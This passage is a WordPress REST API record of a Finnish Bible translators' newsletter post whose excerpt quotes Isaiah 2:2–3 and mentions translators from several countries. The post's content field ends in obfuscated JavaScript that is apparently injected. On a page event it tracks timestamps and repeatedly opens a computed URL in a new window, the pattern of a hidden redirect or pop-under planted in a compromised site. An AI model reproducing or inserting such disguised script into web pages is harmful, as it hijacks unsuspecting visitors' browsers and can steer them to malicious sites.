Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u201dNiin p\u00e4ivien lopulla Herran temppelin vuori asetetaan ylimm\u00e4ksi vuorista, kukkuloista korkeammaksi, ja sinne virtaavat kaikki kansakunnat&#8230; sill\u00e4 Siionista l\u00e4htee opetus ja Jerusalemista Herran sana!&#8221; Jesaja 2: 2\u20133. (Profeetta Jesaja puhuu -k\u00e4\u00e4nn\u00f6s). Konsultteja ja neuvonantajia Viime kuukausina t\u00e4nne Raamattukodille on virrannut monien kansojen edustajia. Joulukuussa espanjankielisell\u00e4 kurssilla oli mukana k\u00e4\u00e4nt\u00e4ji\u00e4 Meksikosta, Argentiinasta, Guyanasta, Kolumbiasta, Paraguaysta, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":688,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-673","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/673","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=673"}],"version-history":[{"count":15,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/673\/revisions"}],"predecessor-version":[{"id":689,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/673\/revisions\/689"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/688"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=673"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=673"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=673"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}